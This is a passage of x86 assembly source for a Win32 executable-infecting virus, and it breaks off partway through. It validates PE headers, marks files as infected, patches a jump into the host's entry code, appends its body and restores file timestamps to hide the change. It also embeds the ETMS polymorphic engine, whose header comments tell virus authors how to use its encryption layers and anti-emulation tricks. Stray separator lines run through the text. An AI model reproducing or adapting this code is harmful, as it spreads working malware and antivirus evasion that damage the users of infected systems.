|
push edx
|
|||
|
|
call gettime
|
|||
|
|
lea edx, [ebp.buffer]
|
|||
|
|
push 3Ch+4
|
|||
|
|
pop ecx
|
|||
|
|
call read
|
|||
|
|
jc __close
|
|||
|
|
cmp 2 ptr [edx], 'ZM'
|
|||
|
|
jnz __close
|
|||
|
|
cmp 2 ptr [edx.18h], 40h
|
|||
|
|
jb __close
|
|||
|
|
push edx
|
|||
|
|
movzx edx, 2 ptr [edx.3Ch]
|
|||
|
|
mov [ebp.word3C], edx
|
|||
|
|
call seek
|
|||
|
|
pop edx
|
|||
|
|
mov ecx, 0F8h + (28h*8)
|
|||
|
|
call read
|
|||
|
|
jc __close
|
|||
|
|
cmp 2 ptr [edx], 'EP'
|
|||
|
|
jnz __close
|
|||
|
|
; dll ? if i process dll then skip
|
|||
|
|
; this test
|
|||
|
|
test 2 ptr [edx.16h], 2000h
|
|||
|
|
jnz __close
|
|||
|
|
; can run ?
|
|||
|
|
test 2 ptr [edx.16h], 0002h
|
|||
|
|
jz __close
|
|||
|
|
; good image base ?
|
|||
|
|
cmp 4 ptr [edx.160], 0
|
|||
|
|
jz __yeeah
|
|||
|
|
cmp 4 ptr [edx.52], 00400000h
|
|||
|
|
jnz __close
|
|||
|
|
__yeeah:
|
|||
|
|
; intel x86 processor ?
|
|||
|
|
mov al, [edx.4]
|
|||
|
|
and al, 11110000b
|
|||
|
|
cmp al, 40h
|
|||
|
|
jnz __close
|
|||
|
|
; 2..8 sections ?
|
|||
|
|
cmp 2 ptr [edx.06h], 8
|
|||
|
|
ja __close
|
|||
|
|
cmp 2 ptr [edx.06h], 2
|
|||
|
|
jb __close
|
|||
|
|
; it's already ?
|
|||
|
|
test 1 ptr [edx.44h], 16
|
|||
|
|
jnz __close
|
|||
|
|
or 1 ptr [edx.44h], 16
|
|||
|
|
; save EIP
|
|||
|
|
mov eax, [edx.28h]
|
|||
|
|
mov 4 ptr [ebp.host32_1], eax
|
|||
|
|
mov eax, [edx+52]
|
|||
|
|
mov [ebp.save_me], eax
|
|||
|
|
mov eax, 1000h
|
|||
|
|
cmp [edx.38h], eax
|
|||
|
|
ja __close
|
|||
|
|
cmp [edx.3Ch], eax
|
|||
|
|
ja __close
|
|||
|
|
lea edi, [ebp.buff]
|
|||
|
|
mov ecx, (len_buff)/4
|
|||
|
|
sub eax, eax
|
|||
|
|
rep stosd
|
|||
|
|
mov 4 ptr [edx.58h], eax
|
|||
|
|
call process_it
|
|||
|
|
__close:
|
|||
|
|
pop edx
|
|||
|
|
mov esi, esp
|
|||
|
|
call settime
|
|||
|
|
add esp, 3*8
|
|||
|
|
call close
|
|||
|
|
pop eax
|
|||
|
|
call fattrs
|
|||
|
|
ret
|
|||
|
|
endp
|
|||
|
|
|
|||
|
|
process_it proc
|
|||
|
|
movzx eax, 2 ptr [edx.14h]
|
|||
|
|
cmp al, 0E0h
|
|||
|
|
jnz __1
|
|||
|
|
lea edi, [eax+18h+edx]
|
|||
|
|
movzx ecx, 2 ptr [edx.6]
|
|||
|
|
__loop:
|
|||
|
|
; check file
|
|||
|
|
mov esi, [edx.28h]
|
|||
|
|
cmp 4 ptr [edi.0Ch], esi
|
|||
|
|
ja __4
|
|||
|
|
push eax
|
|||
|
|
mov eax, 4 ptr [edi.0Ch]
|
|||
|
|
add eax, 4 ptr [edi.10h]
|
|||
|
|
cmp esi, eax
|
|||
|
|
pop eax
|
|||
|
|
jb __5
|
|||
|
|
__4: add edi, 28h
|
|||
|
|
loop __loop
|
|||
|
|
jmp __1
|
|||
|
|
__5: test 1 ptr [edi.27h], 80h
|
|||
|
|
jnz __1
|
|||
|
|
mov esi, [edi.12]
|
|||
|
|
add esi, [edi.16]
|
|||
|
|
sub esi, [edx.40]
|
|||
|
|
mov 4 ptr [ebp.__rule_me], size_UEP-4
|
|||
|
|
cmp esi, size_UEP-4
|
|||
|
|
ja __b
|
|||
|
|
sub esi, 4
|
|||
|
|
mov 4 ptr [ebp.__rule_me], esi
|
|||
|
|
__b: ; read from IP some bytes
|
|||
|
|
; for UEP
|
|||
|
|
lea esi, [eax+18h+edx]
|
|||
|
|
push edx
|
|||
|
|
mov eax, [edx.028h]
|
|||
|
|
sub eax, [edi.0Ch]
|
|||
|
|
add eax, [edi.14h]
|
|||
|
|
mov 4 ptr [ebp.forUEP], eax
|
|||
|
|
xchg eax, edx
|
|||
|
|
call seek
|
|||
|
|
lea edx, [ebp.UEP]
|
|||
|
|
mov ecx, 4 ptr [ebp.__rule_me]
|
|||
|
|
add ecx, 4
|
|||
|
|
call read
|
|||
|
|
pop edx
|
|||
|
|
jc __1
|
|||
|
|
movzx eax, 2 ptr [edx.6]
|
|||
|
|
dec eax
|
|||
|
|
imul eax, eax, 28h
|
|||
|
|
add esi, eax
|
|||
|
|
mov edi, [esi.14h]
|
|||
|
|
add edi, [esi.10h]
|
|||
|
|
call fsize
|
|||
|
|
cmp eax, edi
|
|||
|
|
jz __2
|
|||
|
|
push edx
|
|||
|
|
mov edx, edi
|
|||
|
|
call seek
|
|||
|
|
push eax eax
|
|||
|
|
mov edx, esp
|
|||
|
|
push 8
|
|||
|
|
pop ecx
|
|||
|
|
call read
|
|||
|
|
pop eax
|
|||
|
|
pop ecx
|
|||
|
|
cmp eax, 1
|
|||
|
|
jnz __not_3
|
|||
|
|
cmp ecx, 1234567h
|
|||
|
|
org $-4
|
|||
|
|
db 10h,1,0,0
|
|||
|
|
jz __3
|
|||
|
|
__not_3:
|
|||
|
|
and eax, 1234567h
|
|||
|
|
org $-4
|
|||
|
|
db 0FFh, 0FFh, 0F0h, 0
|
|||
|
|
cmp eax, 1234567h
|
|||
|
|
org $-4
|
|||
|
|
db 'N','B',30h,0
|
|||
|
|
jz __3
|
|||
|
|
call fsize
|
|||
|
|
sub eax, edi
|
|||
|
|
cmp eax, 100h ; 256 bytes only
|
|||
|
|
; if yes then skip it ;)
|
|||
|
|
jb __3
|
|||
|
|
pop eax
|
|||
|
|
jmp __1
|
|||
|
|
__3: mov edx, edi
|
|||
|
|
call seek
|
|||
|
|
call truncate
|
|||
|
|
pop edx
|
|||
|
|
__2: mov [ebp.flen], edi
|
|||
|
|
mov eax, [edx.160]
|
|||
|
|
test eax, eax
|
|||
|
|
jz __ok
|
|||
|
|
mov edi, [esi.12]
|
|||
|
|
cmp eax, edi
|
|||
|
|
jb __1
|
|||
|
|
add edi, [esi.16]
|
|||
|
|
cmp eax, edi
|
|||
|
|
ja __1
|
|||
|
|
dec 2 ptr [edx.6]
|
|||
|
|
push edx
|
|||
|
|
push 28h
|
|||
|
|
pop ecx
|
|||
|
|
sub eax, eax
|
|||
|
|
mov 4 ptr [edx.160], eax
|
|||
|
|
mov 4 ptr [edx.164], eax
|
|||
|
|
mov edx, [esi.20]
|
|||
|
|
mov edi, esi
|
|||
|
|
rep stosb
|
|||
|
|
call seek
|
|||
|
|
mov [ebp.flen], eax
|
|||
|
|
call truncate
|
|||
|
|
mov edx, [ebp.word3C]
|
|||
|
|
call seek
|
|||
|
|
lea edx, [ebp.buffer]
|
|||
|
|
mov ecx, 0F8h + (28h*8)
|
|||
|
|
call write
|
|||
|
|
pop edx
|
|||
|
|
sub esi, 28h
|
|||
|
|
__ok: cmp 4 ptr [esi.1], 'zniw' ; winz
|
|||
|
|
jz __1
|
|||
|
|
or 1 ptr [esi.24h+3], 0C0h
|
|||
|
|
pusha
|
|||
|
|
lea eax, [ebp.tbl]
|
|||
|
|
push eax
|
|||
|
|
call disasm_init
|
|||
|
|
add esp, 4
|
|||
|
|
push 1234567h
|
|||
|
|
__rule_me equ 2 ptr $-4
|
|||
|
|
pop ecx
|
|||
|
|
lea edi, [ebp.UEP]
|
|||
|
|
sub ebx, ebx
|
|||
|
|
__find:
|
|||
|
|
inc ebx
|
|||
|
|
cmp ebx, (size_UEP-4) / 2
|
|||
|
|
ja __error
|
|||
|
|
push edi
|
|||
|
|
lea eax, [ebp.tbl]
|
|||
|
|
push eax
|
|||
|
|
call disasm_main
|
|||
|
|
add esp, 8
|
|||
|
|
cmp eax, -1
|
|||
|
|
jnz __no_error
|
|||
|
|
__error:
|
|||
|
|
lea edi, [ebp.UEP]
|
|||
|
|
jmp __found
|
|||
|
|
__no_error:
|
|||
|
|
sub ecx, eax
|
|||
|
|
jc __error
|
|||
|
|
lea edx, [ebp.UEP]
|
|||
|
|
cmp 1 ptr [edi], 0EBh
|
|||
|
|
jnz __no_EB
|
|||
|
|
movsx eax, 1 ptr [edi.1]
|
|||
|
|
push edi
|
|||
|
|
inc edi
|
|||
|
|
inc edi
|
|||
|
|
add edi, eax
|
|||
|
|
pop eax
|
|||
|
|
cmp edi, edx
|
|||
|
|
jb __error
|
|||
|
|
add edx, 4 ptr [ebp.__rule_me]
|
|||
|
|
cmp edi, edx
|
|||
|
|
ja __error
|
|||
|
|
push edi
|
|||
|
|
xchg eax, edi
|
|||
|
|
sub eax, edi
|
|||
|
|
sub ecx, eax
|
|||
|
|
pop edi
|
|||
|
|
jmp __find
|
|||
|
|
__no_EB:
|
|||
|
|
cmp 1 ptr [edi], 0E9H
|
|||
|
|
jz __found
|
|||
|
|
mov edx, 4 ptr [ebp.__rule_me]
|
|||
|
|
sub edx, 128
|
|||
|
|
cmp ecx, edx
|
|||
|
|
ja __no_E8
|
|||
|
|
cmp 1 ptr [edi], 0E8h
|
|||
|
|
jz __found
|
|||
|
|
__no_E8:
|
|||
|
|
add edi, eax
|
|||
|
|
jmp __find
|
|||
|
|
__found:
|
|||
|
|
lea ecx, [ebp.UEP]
|
|||
|
|
mov eax, edi
|
|||
|
|
sub eax, ecx
|
|||
|
|
add eax, 4 ptr [ebp.host32_1]
|
|||
|
|
mov 4 ptr [ebp.host32_2], eax
|
|||
|
|
mov eax, [edi]
|
|||
|
|
mov 4 ptr [ebp.saved], eax
|
|||
|
|
mov al, [edi.4]
|
|||
|
|
mov 1 ptr [ebp.saved+4], al
|
|||
|
|
mov al, 0E9h
|
|||
|
|
stosb
|
|||
|
|
lea edx, [ebp.UEP]
|
|||
|
|
mov eax, edi
|
|||
|
|
dec eax
|
|||
|
|
sub eax, edx
|
|||
|
|
neg eax
|
|||
|
|
add eax, 4 ptr [esi.10h]
|
|||
|
|
add eax, 4 ptr [esi.0Ch]
|
|||
|
|
sub eax, 4 ptr [ebp.host32_1]
|
|||
|
|
sub eax, 5
|
|||
|
|
stosd
|
|||
|
|
;;;;;; FUCK
|
|||
|
|
lea esi, [ebp.extra_data]
|
|||
|
|
push extra_len
|
|||
|
|
pop ecx
|
|||
|
|
mov edi, [ebp.vl_of]
|
|||
|
|
add edi, offset extra_data - start
|
|||
|
|
rep movsb
|
|||
|
|
;;;;;;
|
|||
|
|
popa
|
|||
|
|
pusha
|
|||
|
|
mov esi, [ebp.vl_of]
|
|||
|
|
lea edi, [ebp.buff+2]
|
|||
|
|
mov ecx, [ebp.vl_sz]
|
|||
|
|
; rep movsb
|
|||
|
|
call engine_serv
|
|||
|
|
; mov ecx, [ebp.vl_sz]
|
|||
|
|
; lea edi, [ebp.buff+2]
|
|||
|
|
mov _EAX, ecx
|
|||
|
|
mov _EDI, edi
|
|||
|
|
popa
|
|||
|
|
dec edi
|
|||
|
|
dec edi
|
|||
|
|
mov 2 ptr [edi], 609Ch
|
|||
|
|
inc eax
|
|||
|
|
inc eax
|
|||
|
|
xchg eax, edi
|
|||
|
|
push eax
|
|||
|
|
; edi - virus length
|
|||
|
|
mov eax, edi
|
|||
|
|
add eax, [edx.3Ch]
|
|||
|
|
add eax, [esi.10h]
|
|||
|
|
mov ecx, [edx.3Ch]
|
|||
|
|
neg ecx
|
|||
|
|
and eax, ecx
|
|||
|
|
mov [esi.10h], eax
|
|||
|
|
cmp [esi.08h], eax
|
|||
|
|
ja __x
|
|||
|
|
mov [esi.08h], eax
|
|||
|
|
__x: mov eax, [esi.08h]
|
|||
|
|
add eax, [esi.0Ch]
|
|||
|
|
push eax
|
|||
|
|
mov ecx, [edx.38h]
|
|||
|
|
neg ecx
|
|||
|
|
and eax, ecx
|
|||
|
|
cmp eax, 4 ptr [esp]
|
|||
|
|
jae __xxx
|
|||
|
|
add eax, [edx.38h]
|
|||
|
|
__xxx:
|
|||
|
|
mov [edx.50h], eax
|
|||
|
|
pop eax
|
|||
|
|
call fsize
|
|||
|
|
xchg eax, edx
|
|||
|
|
call seek
|
|||
|
|
pop edx
|
|||
|
|
db 0BFh
|
|||
|
|
flen dd 0
|
|||
|
|
mov ecx, [esi.10h]
|
|||
|
|
add ecx, [esi.14h]
|
|||
|
|
sub ecx, edi
|
|||
|
|
call write
|
|||
|
|
mov edx, [ebp.forUEP]
|
|||
|
|
call seek
|
|||
|
|
lea edx, [ebp.UEP]
|
|||
|
|
mov ecx, 4 ptr [ebp.__rule_me]
|
|||
|
|
add ecx, 4
|
|||
|
|
call write
|
|||
|
|
mov edx, [ebp.word3C]
|
|||
|
|
call seek
|
|||
|
|
lea edx, [ebp.buffer]
|
|||
|
|
mov ecx, 0F8h + (28h*8)
|
|||
|
|
call write
|
|||
|
|
__1:
|
|||
|
|
ret
|
|||
|
|
endp
|
|||
|
|
|
|||
|
|
truncate proc
|
|||
|
|
pushad
|
|||
|
|
push ebx
|
|||
|
|
call [ebp.SetEndOfFile]
|
|||
|
|
jmp n_chk
|
|||
|
|
endp
|
|||
|
|
|
|||
|
|
|
|||
|
|
fsize proc
|
|||
|
|
pushad
|
|||
|
|
push 0 ebx
|
|||
|
|
call [ebp.GetFileSize]
|
|||
|
|
jmp n_chk
|
|||
|
|
endp
|
|||
|
|
|
|||
|
|
|
|||
|
|
gettime proc
|
|||
|
|
pushad
|
|||
|
|
; esi - addres struc
|
|||
|
|
;
|
|||
|
|
; CONST FILETIME * lpftLastWrite // time the file was last written
|
|||
|
|
; CONST FILETIME * lpftLastAccess, // time the file was last accessed
|
|||
|
|
; CONST FILETIME * lpftCreation, // time the file was created
|
|||
|
|
;
|
|||
|
|
; filetime struc
|
|||
|
|
; dwLowDateTime dd ?
|
|||
|
|
; dwHighDateTime dd ?
|
|||
|
|
; ends
|
|||
|
|
push esi
|
|||
|
|
lodsd
|
|||
|
|
lodsd
|
|||
|
|
push esi
|
|||
|
|
lodsd
|
|||
|
|
lodsd
|
|||
|
|
push esi ebx
|
|||
|
|
call [ebp.GetFileTime]
|
|||
|
|
jmp n_chk
|
|||
|
|
endp
|
|||
|
|
|
|||
|
|
|
|||
|
|
settime proc
|
|||
|
|
pushad
|
|||
|
|
; esi - addres struc
|
|||
|
|
;
|
|||
|
|
; CONST FILETIME * lpftLastWrite // time the file was last written
|
|||
|
|
; CONST FILETIME * lpftLastAccess, // time the file was last accessed
|
|||
|
|
; CONST FILETIME * lpftCreation, // time the file was created
|
|||
|
|
;
|
|||
|
|
; filetime struc
|
|||
|
|
; dwLowDateTime dd ?
|
|||
|
|
; dwHighDateTime dd ?
|
|||
|
|
; ends
|
|||
|
|
push esi
|
|||
|
|
lodsd
|
|||
|
|
lodsd
|
|||
|
|
push esi
|
|||
|
|
lodsd
|
|||
|
|
lodsd
|
|||
|
|
push esi ebx
|
|||
|
|
call [ebp.SetFileTime]
|
|||
|
|
jmp n_chk
|
|||
|
|
endp
|
|||
|
|
|
|||
|
|
fattrs proc
|
|||
|
|
pushad
|
|||
|
|
push eax edx
|
|||
|
|
call [ebp.SetFileAttributesA]
|
|||
|
|
jmp n_chk
|
|||
|
|
endp
|
|||
|
|
|
|||
|
|
fattrg proc
|
|||
|
|
pushad
|
|||
|
|
push edx
|
|||
|
|
call [ebp.GetFileAttributesA]
|
|||
|
|
jmp n_chk
|
|||
|
|
endp
|
|||
|
|
|
|||
|
|
open proc
|
|||
|
|
pushad
|
|||
|
|
; eax - mode
|
|||
|
|
; edx - name
|
|||
|
|
;
|
|||
|
|
; OF_READ Opens the file for reading only.
|
|||
|
|
; OF_READWRITE Opens the file for reading and writing.
|
|||
|
|
; OF_WRITE Opens the file for writing only.
|
|||
|
|
push eax edx
|
|||
|
|
call [ebp._lopen]
|
|||
|
|
n_chk:
|
|||
|
|
mov [esp.1Ch], eax
|
|||
|
|
popad
|
|||
|
|
ret
|
|||
|
|
endp
|
|||
|
|
|
|||
|
|
close proc
|
|||
|
|
pushad
|
|||
|
|
push ebx
|
|||
|
|
call [ebp.CloseHandle]
|
|||
|
|
popad
|
|||
|
|
ret
|
|||
|
|
endp
|
|||
|
|
|
|||
|
|
write proc
|
|||
|
|
pushad
|
|||
|
|
push eax
|
|||
|
|
mov eax, esp
|
|||
|
|
push 0
|
|||
|
|
push eax
|
|||
|
|
push ecx edx ebx
|
|||
|
|
call [ebp.WriteFile]
|
|||
|
|
jmp n_check
|
|||
|
|
endp
|
|||
|
|
|
|||
|
|
read proc
|
|||
|
|
; ecx - length
|
|||
|
|
; ebx - handle
|
|||
|
|
; edx - buffer
|
|||
|
|
pushad
|
|||
|
|
push eax
|
|||
|
|
mov eax, esp
|
|||
|
|
push 0
|
|||
|
|
push eax
|
|||
|
|
push ecx edx ebx
|
|||
|
|
call [ebp.ReadFile]
|
|||
|
|
n_check:
|
|||
|
|
pop eax
|
|||
|
|
mov [esp.1Ch], eax
|
|||
|
|
popad
|
|||
|
|
cmp eax, ecx
|
|||
|
|
jz __1
|
|||
|
|
stc
|
|||
|
|
__1:
|
|||
|
|
ret
|
|||
|
|
endp
|
|||
|
|
|
|||
|
|
seek proc
|
|||
|
|
pushad
|
|||
|
|
push 0 0 edx ebx
|
|||
|
|
call [ebp.SetFilePointer]
|
|||
|
|
jmp n_chk
|
|||
|
|
endp
|
|||
|
|
|
|||
|
|
|
|||
|
|
_EAX EQU 4 PTR [ESP+7*4]
|
|||
|
|
_ECX EQU 4 PTR [ESP+6*4]
|
|||
|
|
_EDX EQU 4 PTR [ESP+5*4]
|
|||
|
|
_EBX EQU 4 PTR [ESP+4*4]
|
|||
|
|
_ESP EQU 4 PTR [ESP+3*4]
|
|||
|
|
_EBP EQU 4 PTR [ESP+2*4]
|
|||
|
|
_ESI EQU 4 PTR [ESP+1*4]
|
|||
|
|
_EDI EQU 4 PTR [ESP+0*4]
|
|||
|
|
|
|||
|
|
|
|||
|
|
save_me dd 0
|
|||
|
|
|
|||
|
|
engine_serv:
|
|||
|
|
push edx ecx
|
|||
|
|
mov eax, [ebp.seed]
|
|||
|
|
mov ecx, 714024+1
|
|||
|
|
sub edx, edx
|
|||
|
|
div ecx
|
|||
|
|
mov [ebp.seed], edx
|
|||
|
|
pop ecx edx
|
|||
|
|
mov eax, _EBP
|
|||
|
|
pusha
|
|||
|
|
mov eax, 25*1024
|
|||
|
|
add eax, [ebp.vl_sz]
|
|||
|
|
push eax 0
|
|||
|
|
call [ebp.GlobalAlloc]
|
|||
|
|
mov _EDX, eax
|
|||
|
|
popa
|
|||
|
|
push edx ebp
|
|||
|
|
mov ebp, [ebp.save_me]
|
|||
|
|
add ebp, 4 ptr [eax.10h]
|
|||
|
|
add ebp, 4 ptr [eax.0Ch]
|
|||
|
|
inc ebp
|
|||
|
|
inc ebp
|
|||
|
|
call engine
|
|||
|
|
pop ebp
|
|||
|
|
pusha
|
|||
|
|
push 4 ptr [esp+8*4]
|
|||
|
|
call [ebp.GlobalFree]
|
|||
|
|
popa
|
|||
|
|
pop edx
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
engine:
|
|||
|
|
|
|||
|
|
|
|||
|
|
;
|
|||
|
|
; - expressway to my skull -
|
|||
|
|
; - [ETMS] v0.36 -
|
|||
|
|
; - b0z0/iKX -
|
|||
|
|
;
|
|||
|
|
; This is a polymorphic engine for Win32/Win9X viruses. It should be fully
|
|||
|
|
; compatible with any 486+ processor. You should check ver. 0.1 (Xine#4)
|
|||
|
|
; for some more basic informations.
|
|||
|
|
;
|
|||
|
|
; Changes from v0.1:
|
|||
|
|
; - Multiple layers of encryption (random from 2 to 7 layers)
|
|||
|
|
; - New garbage types added (MOVSX, MOVZX, BT family, SET family,
|
|||
|
|
; XADD, SHLD/SHRD, CMPXCHG, BSWAP, XLAT, ENTER/LEAVE) on regs,
|
|||
|
|
; mem, flags (when possible). Direct read/write on stack using
|
|||
|
|
; ESP + offset.
|
|||
|
|
; - Antiemulation structures (code emulation checks, stack consistency
|
|||
|
|
; checks, stack segment play, memory consistency on writes)
|
|||
|
|
; - New ways of incrementing/decrementing pointer/counter, changing
|
|||
|
|
; encryption key, initializing registers and exiting from loop.
|
|||
|
|
; - Some minor parts have been rewritten
|
|||
|
|
;
|
|||
|
|
; Using the poly:
|
|||
|
|
; Just add the ETMS source in your virus, simply:
|
|||
|
|
; include etms.asm
|
|||
|
|
; Set the registers as described below and then call the poly. The poly uses
|
|||
|
|
; some data for internal purposes. This data of course is not needed to be
|
|||
|
|
; carried around with your infected file or whatever. You can just include
|
|||
|
|
; the ETMS source at the end of the file and then skip the bytes that start
|
|||
|
|
; from the label _mem_data_start. Of course you'll need to have that free
|
|||
|
|
; memory placed there at runtime.
|
|||
|
|
; The random seed (the dd at seed) should be initialized at first poly
|
|||
|
|
; run to a value between 0 and 714024.
|
|||
|
|
;
|
|||
|
|
; Calling parameters:
|
|||
|
|
; ECX = Lenght of things to be encrypted
|
|||
|
|
; ESI = Pointer to what we want to encrypt
|
|||
|
|
; EDI = Where to place decryptor and encrypted stuff
|
|||
|
|
; EBP = Offset at which decryptor will run
|
|||
|
|
; EDX = Some free temporary place for the poly
|
|||
|
|
; The two needed space zones (EDI and EDX) should be at least 25kb plus
|
|||
|
|
; the lenght of your code. Just allocate some mem, you're in Windoze baby!
|
|||
|
|
;
|
|||
|
|
; On exit:
|
|||
|
|
; EDI = Pointer to generated code
|
|||
|
|
; ECX = Lenght of generated code (decryptor + encrypted code)
|
|||
|
|
;
|
|||
|
|
; Contacts:
|
|||
|
|
; Email me at cl0wn@geocities.com or query me on irc.
|
|||
|
|
;
|
|||
|
|
; Special greetings:
|
|||
|
|
; I'd like to specially thank StarZero/iKX for the great support and for
|
|||
|
|
; convincing me to write this. Greetings also to pigpen/s0ftpj for persistent
|
|||
|
|
; support irl, crazyness roxor! ;), and also greets to claire for making me
|
|||
|
|
; feel like i tought i could never feel
|
|||
|
|
;
|
|||
|
|
; Misc greetings to:
|
|||
|
|
; The entire iKX and S0ftpj crew and: kernel panic, darkman, gigabyte,
|
|||
|
|
; jackie-, rucker, talena, benny, inty13, uselessa, reptile, dandler, fusys,
|
|||
|
|
; jhb, slagehammer, giorgetto, tankie, griyo and gf, vecna, belfa, del0,
|
|||
|
|
; wintermute, spanska, sepultura, cavallo, milla, ^syren^, claire.
|
|||
|
|
;
|
|||
|
|
; - live fast, die young -
|
|||
|
|
; - written in aug/sept 2000 -
|
|||
|
|
;
|
|||
|
|
|
|||
|
|
engine:
|
|||
|
|
cld
|
|||
|
|
push edi
|
|||
|
|
push edi
|
|||
|
|
|
|||
|
|
call poly_delta
|
|||
|
|
poly_delta:
|
|||
|
|
pop eax ; where we are running
|
|||
|
|
sub eax,offset poly_delta
|
|||
|
|
push ecx
|
|||
|
|
push eax
|
|||
|
|
|
|||
|
|
lea ebx,[offset v_runnin + eax]
|
|||
|
|
|
|||
|
|
o_vrun equ offset v_runnin ; save some bytes since off between
|
|||
|
|
; various data is a 8b
|
|||
|
|
mov dword ptr [ebx],ebp
|
|||
|
|
mov dword ptr [ebx - (o_vrun - offset orig_dx)],edx
|
|||
|
|
mov dword ptr [ebx - (o_vrun - offset layer_nr)],tl_space
|
|||
|
|
|
|||
|
|
xor ecx,ecx
|
|||
|
|
bit_loop:
|
|||
|
|
inc ecx
|
|||
|
|
shl ebp,1
|
|||
|
|
jnc bit_loop ; find higher bit with an 1
|
|||
|
|
dec ecx ; for random memory offsets
|
|||
|
|
|
|||
|
|
mov byte ptr [ebx - (o_vrun - offset t_memand)],cl
|
|||
|
|
pop ebp ; delta
|
|||
|
|
|
|||
|
|
how_manylayers:
|
|||
|
|
call get_random_al7 ; random number of layers
|
|||
|
|
cmp al,6 ; from 2 to 7
|
|||
|
|
jae how_manylayers
|
|||
|
|
mov ecx,l_space
|
|||
|
|
mul ecx
|
|||
|
|
mov dword ptr [ebx - (o_vrun - offset layer_end)],eax
|
|||
|
|
|
|||
|
|
pop ecx
|
|||
|
|
start_layer:
|
|||
|
|
|
|||
|
|
o_tini equ offset r_pointer
|
|||
|
|
lea ebx,[offset r_pointer + ebp]
|
|||
|
|
; dest, cnt and source
|
|||
|
|
mov dword ptr [ebx - (o_tini - offset t_inipnt)],edi
|
|||
|
|
mov dword ptr [ebx - (o_tini - offset v_lenght)],ecx
|
|||
|
|
mov dword ptr [ebx - (o_tini - offset v_virusp)],esi
|
|||
|
|
|
|||
|
|
mov dword ptr [ebx - (o_tini - offset r_pointer)],010ffffffh
|
|||
|
|
mov dword ptr [ebx - (o_tini - offset t_chgpnt)],01000404h
|
|||
|
|
|
|||
|
|
xor eax,eax
|
|||
|
|
mov dword ptr [ebx - (o_tini - offset t_fromend)],eax
|
|||
|
|
mov dword ptr [ebx - (o_tini - offset t_pntoff)],eax
|
|||
|
|
mov dword ptr [ebx - (o_tini - offset t_cntoff)],eax
|
|||
|
|
mov dword ptr [ebx - (o_tini - offset w_loopbg)],eax
|
|||
|
|
mov dword ptr [ebx - (o_tini - offset t_inacall)-2],eax
|
|||
|
|
inc al
|
|||
|
|
mov dword ptr [ebx - (o_tini - offset t_exitjmp)],eax
|
|||
|
|
|
|||
|
|
push edi ; initialize layer data
|
|||
|
|
mov ecx,[ebx - (o_tini - offset layer_nr)]
|
|||
|
|
lea edi,[ebx - (o_tini - offset enc_space) + ecx + 10h]
|
|||
|
|
; init layers encryptor, regs struct no needed
|
|||
|
|
mov al,90h ; virgin encryptor
|
|||
|
|
mov dword ptr [ebx - (o_tini - offset w_encrypt)],edi
|
|||
|
|
mov ecx,enc_max
|
|||
|
|
rep stosb
|
|||
|
|
pop edi
|
|||
|
|
|
|||
|
|
call rnd_garbage
|
|||
|
|
|
|||
|
|
mov ecx,3
|
|||
|
|
|
|||
|
|
mov esi,ebx ; to memory structures
|
|||
|
|
mov edx,dword ptr [esi - (o_tini - offset layer_nr)]
|
|||
|
|
; edx has offset in the layer structure
|
|||
|
|
init_part:
|
|||
|
|
push ecx
|
|||
|
|
select_register:
|
|||
|
|
call get_register ; get a unused register
|
|||
|
|
xchg ebx,ecx
|
|||
|
|
|
|||
|
|
select_block:
|
|||
|
|
call get_random_al7
|
|||
|
|
and al,011b
|
|||
|
|
jz select_block ; select from 01 to 03
|
|||
|
|
|
|||
|
|
dec eax
|
|||
|
|
cmp byte ptr [eax+esi],0ffh ; check if that stage already
|
|||
|
|
jne select_block ; done
|
|||
|
|
|
|||
|
|
mov byte ptr [eax+esi],bl ; save the register for that
|
|||
|
|
; stage
|
|||
|
|
or al,al
|
|||
|
|
jnz not_pointer
|
|||
|
|
|
|||
|
|
mov dword ptr [esi - (offset r_pointer - offset enc_space) + edx + 12],edi
|
|||
|
|
; save offset where the
|
|||
|
|
jmp assign_next ; pointer is initialized
|
|||
|
|
|
|||
|
|
not_pointer:
|
|||
|
|
dec eax
|
|||
|
|
jnz not_counter
|
|||
|
|
|
|||
|
|
mov dword ptr [esi - (offset r_pointer - offset w_counter)],edi
|
|||
|
|
jmp assign_next ; assign inital counter
|
|||
|
|
|
|||
|
|
not_counter:
|
|||
|
|
|
|||
|
|
call get_random ; get key
|
|||
|
|
|
|||
|
|
mov dword ptr [esi - (offset r_pointer - offset enc_space) + edx],eax
|
|||
|
|
xchg eax,ecx ; save key for encryptor
|
|||
|
|
|
|||
|
|
call get_random
|
|||
|
|
and al,1
|
|||
|
|
jz assign_next ; if so use key
|
|||
|
|
mov byte ptr [esi+2],20h ; don't use key, just imm
|
|||
|
|
jmp next_loop
|
|||
|
|
assign_next:
|
|||
|
|
; BL register
|
|||
|
|
; ECX value
|
|||
|
|
|
|||
|
|
; either with mov reg, imm or via stack
|
|||
|
|
call get_random
|
|||
|
|
shr al,1
|
|||
|
|
jnc do_withmov
|
|||
|
|
mov al,068h ; push immediate
|
|||
|
|
stosb
|
|||
|
|
xchg eax,ecx
|
|||
|
|
stosd
|
|||
|
|
call rnd_garbage
|
|||
|
|
mov al,bl
|
|||
|
|
add al,058h ; pop reg32 base
|
|||
|
|
stosb
|
|||
|
|
jmp next_loop
|
|||
|
|
do_withmov:
|
|||
|
|
mov eax,ebx ; in bl register
|
|||
|
|
or al,0b8h ; mov base
|
|||
|
|
stosb
|
|||
|
|
xchg eax,ecx
|
|||
|
|
stosd ; the value
|
|||
|
|
|
|||
|
|
next_loop:
|
|||
|
|
mov al,bl
|
|||
|
|
call set_used ; mark as unusable so far
|
|||
|
|
|
|||
|
|
call rnd_garbage
|
|||
|
|
pop ecx
|
|||
|
|
loop init_part ; make all init steps
|
|||
|
|
|
|||
|
|
|
|||
|
|
; now some base assignment to a pointer, counter and key (if used) registers
|
|||
|
|
; has been done. here we are gonna change a bit the various registers where
|
|||
|
|
; the various things has been assigned
|
|||
|
|
call get_random_al7
|
|||
|
|
and al,011b ; from 0 to 3 moves, could be 0-7 ?
|
|||
|
|
jz decryptor_build_start
|
|||
|
|
xchg eax,ecx
|
|||
|
|
reg_movida:
|
|||
|
|
push ecx
|
|||
|
|
get_whichone:
|
|||
|
|
call select_save ; select which to change (pnt,cnt,key)
|
|||
|
|
jc leave_this_out
|
|||
|
|
|
|||
|
|
call save_mov_xchg ; change the regs using mov or xchg
|
|||
|
|
mov byte ptr [edx],al
|
|||
|
|
leave_this_out:
|
|||
|
|
pop ecx
|
|||
|
|
loop reg_movida
|
|||
|
|
|
|||
|
|
decryptor_build_start:
|
|||
|
|
; decryptor loop begins right here
|
|||
|
|
|
|||
|
|
lea esi,[offset t_chgpnt + ebp]
|
|||
|
|
